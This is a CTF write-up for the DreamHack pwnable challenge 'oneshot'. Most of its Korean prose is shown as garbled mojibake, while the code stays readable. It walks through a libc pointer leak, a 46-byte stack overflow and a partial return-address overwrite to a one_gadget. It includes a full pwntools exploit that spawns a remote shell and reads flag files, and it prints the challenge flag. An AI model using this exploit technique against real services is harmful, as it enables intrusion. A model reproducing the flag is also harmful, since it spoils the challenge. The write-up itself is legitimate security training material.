๋ฌธ์ : DreamHack โ oneshot ๋ถ๋ฅ: Pwnable ๋์ด๋: ๐ฅ Silver 4 FLAG:
DH{a6e74f669acffd69602b76c81c0516b2}
30์ค์ง๋ฆฌ C ํ์ผ ํ๋. msg[16]์ read๋ก 46๋ฐ์ดํธ๋ฅผ ์ฝ์ด๋ค์ด๋๋ฐ ์ ํํ 46์ด๋๊ฐ ์ด ๋ฌธ์ ์ ์ ๋ถ๋ค. 16๋ ์๋๊ณ 48๋ ์๋๊ณ 46. ์ซ์ ํ๋์ ๋ฌธ์ ์ ์ฒด์ ์ ์ฝ ์กฐ๊ฑด์ด ๋ค ๋ค์ด ์๋ค.
์ด ๊ธ์ ๋ช ๋ น์ ๋ชจ๋
extracted/์์ ์คํํ๋ค.
file oneshot libc.so.6 && echo --- && pwn checksec oneshot
๋ฌธ์ ๊ฐ์
| ํญ๋ชฉ | ๋ด์ฉ |
|---|---|
| ๋ฌธ์ ๋ช | oneshot |
| ๋์ด๋ | ๐ฅ Silver 4 |
| ๋ถ๋ฅ | Pwnable (Stack Overflow) |
| ์ ๊ณต ํ์ผ | oneshot, oneshot.c, libc.so.6 (glibc 2.23, Ubuntu 16.04) |
| ๋ณดํธ ๊ธฐ๋ฒ | NX, Partial RELRO, ์นด๋๋ฆฌ ์์, PIE |
| ํต์ฌ ์ทจ์ฝ์ | stdout ํฌ์ธํฐ ์ ์ถ๋ก libc base ํ๋ + saved return address ๋ถ๋ถ ๋ฎ์ด์ฐ๊ธฐ(one_gadget) |
๋ฌธ์ ์ด๋ฆ์ด ํํธ๋ค. one_gadget์ผ๋ก ์ ธ์ ํ ๋ฐฉ์ ๋ด๋ค.
๐งฉ ๋ฐฐ๊ฒฝ โ return address๋ ์คํ ์ด๋์ ์๋
์นด๋๋ฆฌ๊ฐ ์๋ x86-64 ํจ์๋ push rbp; mov rbp, rsp ๋ก ์์ํด์ leave; ret ๋ก ๋๋๋ค.
leave๋ mov rsp, rbp; pop rbp๋ฅผ ์ค์ธ ๋ช
๋ น์ด๋ผ, pop rbp ๋ค์ ์คํ ๋งจ ์์ ๋จ๋ ๊ฐ์ด ๊ณง ret๊ฐ ๊บผ๋ด ๊ฐ return address๋ค. ์ฆ ํจ์ ์์์ ๋ก์ปฌ ๋ณ์๊ฐ ์ ์ฅ๋ ์์น(rbp ๊ธฐ์ค ์์ ์คํ์
)์์ ์์ํด, saved rbp(์คํ์
0), ๊ทธ ๋ฐ๋ก ๋ค์ 8๋ฐ์ดํธ(์คํ์
+8)๊ฐ return address๋ค.
์ด ๊ตฌ์กฐ๋ฅผ ์๋ฉด ๋ก์ปฌ ๋ฒํผ ํ๋๋ง ์ค๋ฒํ๋ก์ฐ์์ผ๋ ๊ทธ ๋ค์ ๋๋ํ ๋์ธ saved rbp์ return address๊น์ง ์์๋๋ก ๋ฎ์ ์ ์๋ค. ์นด๋๋ฆฌ๊ฐ ์์ผ๋ ๊ฒ์ฆ ์์ด ๊ทธ๋๋ก ret๊น์ง ๋๋ฌํ๋ค.
๋ฌธ์ ๋ read()๊ฐ ์ ํํ ๋ช ๋ฐ์ดํธ๋ฅผ ๋๊ฒจ์ฃผ๋๋๋ค โ ๊ทธ๊ฒ 46์ด๋ผ๋ ์ซ์์ ์ง๊ฒฐ๋๋ค.
๐ฌ ์ฝ๋ ์ ์ฐฐ
์ ์ฒด ์์ค๋ 30์ฌ ์ค์ด๋ค.
cat -n oneshot.c
ํต์ฌ์ ์ธ ์ค์ด๋ค.
char msg[16];
size_t check = 0;
...
printf("stdout: %p\n", stdout); // libc ํฌ์ธํฐ๋ฅผ ๊ทธ๋ฅ ์ฐ์ด์ค๋ค
...
read(0, msg, 46); // msg๋ 16๋ฐ์ดํธ์ธ๋ฐ 46๋ฐ์ดํธ๋ฅผ ์ฝ๋๋ค
if (check > 0) { exit(0); } // check๊ฐ ์ค์ผ๋๋ฉด ์ฌ๊ธฐ์ ์ฃฝ๋๋คprintf("stdout: %p\n", stdout) ์ด ์ฒซ ๋ฒ์งธ ๋จ์๋ค. stdout์ FILE* ์ ์ญ ๋ณ์์ธ๋ฐ, ์ด ๊ฐ ์์ฒด๊ฐ libc ๋ด๋ถ์ ์๋ _IO_2_1_stdout_ ๊ตฌ์กฐ์ฒด์ ์ฃผ์๋ค. PIE ๋ฐ์ด๋๋ฆฌ ์ฃผ์๊ฐ ์๋๋ผ libc ์ฃผ์๋ฅผ ๊ทธ๋ฅ ๋์ ธ์ค๋ค.
๋ ๋ฒ์งธ ๋จ์๋ read(0, msg, 46). msg๋ 16๋ฐ์ดํธ ๋ฐฐ์ด์ธ๋ฐ 46๋ฐ์ดํธ๋ฅผ ์ฝ์ผ๋ 30๋ฐ์ดํธ๊ฐ ์คํ ์๋์ชฝ์ผ๋ก ๋์น๋ค. ๋ค๋ง ๊ทธ ์ฌ์ด์ check๋ผ๋ 8๋ฐ์ดํธ size_t๊ฐ ๋ผ์ด ์๊ณ , ์ฌ๊ธฐ๊ฐ 0์ด ์๋๋ฉด read ์งํ ๋ฐ๋ก exit(0)์ผ๋ก ์ฃฝ์ด๋ฒ๋ฆฐ๋ค. ์ค๋ฒํ๋ก์ฐ ํ์ด๋ก๋ ์ค๊ฐ 8๋ฐ์ดํธ๋ฅผ ์ ํํ 0์ผ๋ก ์ฑ์์ผ ํ๋ค๋ ์ ์ฝ์ด ์๊ธด๋ค.
์คํ์ ์ ์ง์ ํ์ธ โ ๋์ค์ด์ ๋ธ
๋ง๋ก ์ง์ ์คํ์
์ด ๋ง๋์ง objdump๋ก main์ ๊น๋ณธ๋ค.
objdump -d -M intel --disassemble=main oneshot
lea rax,[rbp-0x20]๊ฐ msg์ ์์์ด๊ณ , check๋ [rbp-0x8]. ์ฆ msg ์์ ๊ธฐ์ค์ผ๋ก check๋ ์คํ์
24(0x18)์ ์๋ค. saved rbp๋ ์คํ์
32, return address๋ ์คํ์
40์ด๋ค.
read๊ฐ ์ฑ์ฐ๋ ๊ฑด ๋ฑ 46๋ฐ์ดํธ(์คํ์
045)์ด๋ฏ๋ก return address 8๋ฐ์ดํธ(4047) ์ค ์์ 6๋ฐ์ดํธ(4045)๋ง ์ฐ๋ฆฌ๊ฐ ์ ํ ์ ์๊ณ ๋๋จธ์ง 2๋ฐ์ดํธ(4647)๋ ์๋ ์คํ์ ์๋ ๊ฐ ๊ทธ๋๋ก ๋จ๋๋ค.
ae1: call memset@plt ๋ค์ ์ค๋ memset(msg, 0, sizeof(msg))๋ msg ์ 16๋ฐ์ดํธ๋ง ์ง์ด๋ค. checkยทsaved rbpยทreturn address๋ ์ด ์ดํ์๋ ๊ทธ๋๋ก ์ด์์๋ค โ ์ด๋ฏธ ๋ค ์ฑ์๋์ ๋ค์์ด๋ผ ์๊ด์๋ค.
๐ฃ ํต์ฌ โ 6๋ฐ์ดํธ๋ก ์ถฉ๋ถํ ์ด์
x86-64 ์ ์ ๊ณต๊ฐ ์ฃผ์๋ ํญ์ 0x0000________ ํํ๋ค. ์์ชฝ 2๋ฐ์ดํธ๋ ์ธ์ ๋ 0์ด๊ณ ์ค์ ๋ก ์๋ฏธ ์๋ ๊ฑด ํ์ 6๋ฐ์ดํธ๋ฟ์ด๋ค.
์๋ ์คํ์ ์๋ return address(= main์ ํธ์ถํ __libc_start_main ๋ณต๊ท ์ง์ )๋ ์์ 2๋ฐ์ดํธ๊ฐ 0x0000์ด๊ณ , ์ฐ๋ฆฌ๊ฐ ์ฌ์ผ๋ ค๋ one_gadget ์ฃผ์(libc_base + ์คํ์
)๋ ์์ 2๋ฐ์ดํธ๋ ๋ง์ฐฌ๊ฐ์ง๋ก 0x0000์ด๋ค. ๊ทธ๋ฌ๋ read๊ฐ ๊ฑด๋๋ฆฌ์ง ๋ชปํ๋ ๋ง์ง๋ง 2๋ฐ์ดํธ๋ฅผ ์ ๊ฒฝ ์ธ ํ์๊ฐ ์๋ค โ ์๋ ๊ฐ๊ณผ ๋ชฉํ ๊ฐ์ด ์ฐ์ฐํ ๊ฐ๋ค.

์ ๋ฆฌํ๋ฉด ํ์ด๋ก๋๋ ์ด๋ ๊ฒ ์ง๋ฉด ๋๋ค.
| ์คํ์ | ๊ธธ์ด | ๊ฐ |
|---|---|---|
| 0~23 | 24B | ์ฑ์ฐ๊ธฐ์ฉ ์๋ฌด ๊ฐ |
| 24~31 | 8B | check โ ๋ฐ๋์ 0 |
| 32~39 | 8B | saved rbp โ ์๋ฌด ๊ฐ |
| 40~45 | 6B | one_gadget ์ฃผ์ ํ์ 6๋ฐ์ดํธ |
์ ํํ 46๋ฐ์ดํธ. read() ์ธ์์ ํ ๊ธ์๋ ์ ํ๋ฆฌ๊ณ ๋ง์๋จ์ด์ง๋ค.
๐ฏ libc base ๊ตฌํ๊ธฐ + one_gadget ๊ณ ๋ฅด๊ธฐ
printf("stdout: %p\n", stdout)๊ฐ ์ฐ๋ ๊ฐ์ _IO_2_1_stdout_ ๊ตฌ์กฐ์ฒด ์ฃผ์๋ค. ์ ๊ณต๋ libc.so.6์์ ์ด ์ฌ๋ณผ์ ์คํ์
์ ๊ตฌํ๋ฉด ๊ฑฐ๊ธฐ์ ๊ฑฐ๊พธ๋ก libc base๋ฅผ ๊ณ์ฐํ ์ ์๋ค.
strings -a libc.so.6 | grep "GNU C Library"
readelf -sW libc.so.6 | grep _IO_2_1_stdout_
glibc 2.23(Ubuntu 16.04)์ด๊ณ , _IO_2_1_stdout_์ libc ๋ฒ ์ด์ค์์ 0x3c5620. ์ฆ:
libc_base = leak - 0x3c5620๋ฒ ์ด์ค๋ฅผ ๊ตฌํ์ผ๋ฉด one_gadget์ผ๋ก ์ด libc์ ๋ฐํ ์๋ execve ๊ฐ์ ฏ์ ์ฐพ๋๋ค.
one_gadget libc.so.6
๋ค ํ๋ณด ์ค 0x45216์ ์ ์ฝ์ด rax == NULL ํ๋๋ฟ์ด๋ค. ๋ค๋ฅธ ์
์ [rsp+0x30]์ฒ๋ผ ์คํ ํน์ ์์น๊ฐ 0์ด์ด์ผ ํ๋๋ฐ, ์ฐ๋ฆฌ๋ ret์ผ๋ก ์ง์
ํ๋ ์์ ์ rsp ๊ฐ์ ์ธ๋ฐํ๊ฒ ํต์ ํ๊ธฐ ์ด๋ ต๋ค.
rax == NULL ์ชฝ์ด ํจ์ฌ ๋ค๋ฃจ๊ธฐ ์ฝ๋ค โ ๊ฒ๋ค๊ฐ ์์ ๋์ค์ด์
๋ธ๋ฆฌ์์ ๋ดค๋ฏ ret ๋ฐ๋ก ์์ด mov eax, 0x0์ด๋ค. main์ด ์ ์ ์ข
๋ฃํ๋ฉฐ ๋ฐํ๊ฐ์ 0์ผ๋ก ์ธํ
ํ๋ ๊ทธ ํ ์ค์ด, ์ฐ๋ฆฌ๊ฐ ์ํ๋ ์ ์ฝ์ ๊ณต์ง๋ก ๋ง์กฑ์์ผ ์ค๋ค.
target = libc_base + 0x45216๐ Full Exploit
๋ฆฌํฌ ํ์ฑ๋ถํฐ ํ์ด๋ก๋ ์กฐ๋ฆฝ, ํ๋๊ทธ ํ์๊น์ง ํ ์คํฌ๋ฆฝํธ๋ก ๋๋ธ๋ค.
#!/usr/bin/env python3
from pwn import *
import time
context.arch = 'amd64'
context.log_level = 'info'
LIBC_STDOUT_OFFSET = 0x3c5620 # _IO_2_1_stdout_ in provided libc.so.6 (glibc 2.23)
ONE_GADGET_OFFSET = 0x45216 # constraint: rax == NULL (satisfied by main's `mov eax,0` before leave;ret)
HOST = 'host3.dreamhack.games'
PORT = 22027
io = remote(HOST, PORT)
io.recvuntil(b'stdout: ')
leak = int(io.recvline().strip(), 16)
log.info(f'stdout leak (_IO_2_1_stdout_) = {hex(leak)}')
libc_base = leak - LIBC_STDOUT_OFFSET
log.info(f'libc base = {hex(libc_base)}')
target = libc_base + ONE_GADGET_OFFSET
log.info(f'one_gadget target = {hex(target)}')
payload = b'A' * 24 # fill msg[16] + pad up to check
payload += p64(0) # check must stay 0 or exit(0) triggers
payload += b'B' * 8 # saved rbp, irrelevant
payload += p64(target)[:6] # low 6 bytes of return address; top 2 bytes stay 0x0000
assert len(payload) == 46
io.recvuntil(b'MSG: ')
io.send(payload)
io.recvline() # echoed "MSG: ...."
io.sendline(b'cat flag 2>/dev/null; cat /flag 2>/dev/null; cat /home/*/flag 2>/dev/null')
time.sleep(1)
print(io.recvall(timeout=3).decode(errors='replace'))
io.close()์คํํ๋ฉด ๋ฆฌํฌ๊ฐ, ๊ณ์ฐํ ๋ฒ ์ด์ค, ํ๊น ์ฃผ์๋ฅผ ์์๋๋ก ์ฐ๊ณ ๊ณง๋ฐ๋ก ์ ธ์ ๋ช ๋ น์ ํ๋ ค flag๋ฅผ ๋ฐ์์จ๋ค.

โถ๐ ์ฝ์ง โ ์ ธ์ ์ก์๋๋ฐ ํ๋ฉด์ด ๊ทธ๋ฅ ๋๊ฒผ๋ค
์ฒซ ๋ฒ์ ์ ์
ธ์ ์ก์ ๋ค์ io.interactive()๋ก ๋๊ฒผ๋ค. ๋ก์ปฌ์์ echo ํ
์คํธ๋ก ์
ธ ์์ฒด๋ ํ์คํ ์กํ ๊ฑธ ํ์ธํ๋๋ฐ, ์คํฌ๋ฆฝํธ๋ฅผ ๊ทธ๋๋ก ๋๋ฆฌ๋ฉด "Switching to interactive mode"๊ฐ ๋จ์๋ง์ ์ฐ๊ฒฐ์ด ๋๊ฒผ๋ค.
์์ธ์ ์
ธ์ด ์๋๋ผ ๋ก์ปฌ ์ชฝ์ด์๋ค. io.interactive()๋ ๋ก์ปฌ ํ์ค์
๋ ฅ์ ์ฝ์ด์ ์์ผ์ผ๋ก ๊ทธ๋๋ก ์ ๋ฌํ๋๋ฐ, ํ์ดํ๋ ๋ฐฑ๊ทธ๋ผ์ด๋๋ก ์คํฌ๋ฆฝํธ๋ฅผ ๋๋ฆฌ๋ฉด ๋ก์ปฌ stdin์ด ์ฆ์ EOF๊ฐ ๋๊ณ pwntools๊ฐ ๊ทธ๊ฑธ ์ฐ๊ฒฐ ์ข
๋ฃ ์ ํธ๋ก ์ฒ๋ฆฌํด๋ฒ๋ฆฐ๋ค.
์ธํฐ๋ํฐ๋ธ ์
ธ์ ๋์ธ ํ์ ์์ฒด๊ฐ ์์๋ค โ sendline์ผ๋ก ๋ช
๋ น ํ๋ ํ๋ ค๋ณด๋ด๊ณ recvall(timeout=...)๋ก ๋ฐ์ผ๋ฉด ์ถฉ๋ถํ๋ค. ์๊ฒฉ ์์ท ์ต์คํ๋ก์์๋ interactive()๋ณด๋ค ์ด์ชฝ์ด ๋ง๋ ๋ฐฉ์์ด๋ค.
FLAG: DH{a6e74f669acffd69602b76c81c0516b2}
๐ ๊ฒฐ๋ก
check ๋ณ์๋ ์คํ ์ค๋ฒํ๋ก์ฐ๋ฅผ ๋ง๋ ์ฅ์น๊ฐ ์๋๋ค.
check > 0์ด๋ฉด ์ฆ์ exit(0)์ ๋ถ๋ฅด์ง๋ง, ์ด๊ฑด ์ค๋ฒํ๋ก์ฐ ์์ฒด๋ฅผ ๋ง๋ ๊ฒ ์๋๋ผ ์ค๋ฒํ๋ก์ฐ ๋ค์ ์ฝ๋ ํ๋ฆ(๋ ๋ฒ์งธ printf)์ด ์คํ๋์ง ์๊ฒ ํ ๋ฟ์ด๋ค. read()๋ ์ด๋ฏธ ๊ทธ ์ ์ ์คํ ์ ์ฒด๋ฅผ ๋ฎ์ ๋ค๋ค. ๋ฐฉ์ด ์ฝ๋๊ฐ ์ทจ์ฝ์ ๋ณด๋ค ๋ฆ๊ฒ ์คํ๋๋ฉด ์๋ฏธ๊ฐ ์๋ค.
ํฌ์ธํฐ๋ฅผ ๊ทธ๋๋ก ์ถ๋ ฅํ๋ฉด ๊ทธ ์์ฒด๊ฐ ์ ๋ณด ์ ์ถ์ด๋ค.
%p๋ก stdout์ ์ฐ์ ๊ฑด ๋๋ฒ๊น
ํ์ ์ฒ๋ผ ๋ณด์ด์ง๋ง, ๊ทธ ๊ฐ ํ๋๊ฐ ASLR๋ก ๊ฐ๋ ค๋ libc ๋ฒ ์ด์ค ์ ์ฒด๋ฅผ ๋ฌด๋๋จ๋ ธ๋ค. ์ฌ์ฉ์์๊ฒ ๋ณด์ฌ์ค ์ด์ ๊ฐ ์๋ ํฌ์ธํฐ๋ ์ ์ด์ ๋ก๊ทธ์๋, ์๋ต์๋ ๋จ๊ธฐ์ง ์๋ ๊ฒ ๋ง๋ค.
partial overwrite๋ ํญ์ ์ด๋ ค ์๋ ๊ฒฝ๋ก๋ค.
read ๊ธธ์ด๊ฐ return address ์ ์ฒด(8๋ฐ์ดํธ)๋ฅผ ๋ค ๋ฎ์ง ๋ชปํด๋, ์์ ๋ฐ์ดํธ๊ฐ ์ด์ฐจํผ ๊ณ ์ ๊ฐ(0x0000)์ด๋ผ๋ ์ฌ์ค ํ๋๋ก ๊ณต๊ฒฉ์ ์ฑ๋ฆฝํ๋ค. "๋ฎ์ ์ ์๋ ๋ฐ์ดํธ ์๊ฐ ๋ถ์กฑํ๋ค"๋ ๋ฐฉ์ด ๋ ผ๋ฆฌ๋ ์ค์ ์์ ๊ฑฐ์ ํตํ์ง ์๋๋ค.
์คํ ์นด๋๋ฆฌ๋ ๊ณต์ง ๋ฐฉ์ด๋ค.
์ด ๋ฌธ์ ๋ -fno-stack-protector๋ก ์ปดํ์ผ๋๋ค. ์นด๋๋ฆฌ ํ๋๋ง ์์์ด๋ check๋ฅผ ๋์ด saved rbpยทreturn address๊น์ง ๋๋ฌํ๊ธฐ ์ ์ ํ๋ก๊ทธ๋จ์ด ์ฃฝ์์ ๊ฒ์ด๋ค.
Comments
๋๊ธ
๋๊ธ์ ๋จ๊ธฐ๋ ค๋ฉด ๋ก๊ทธ์ธ์ด ํ์ํด์. (๋ค์ด๋ฒ ยท ๊ตฌ๊ธ ๊ณ์ )
๋๊ธ ๋ถ๋ฌ์ค๋ ์คโฆ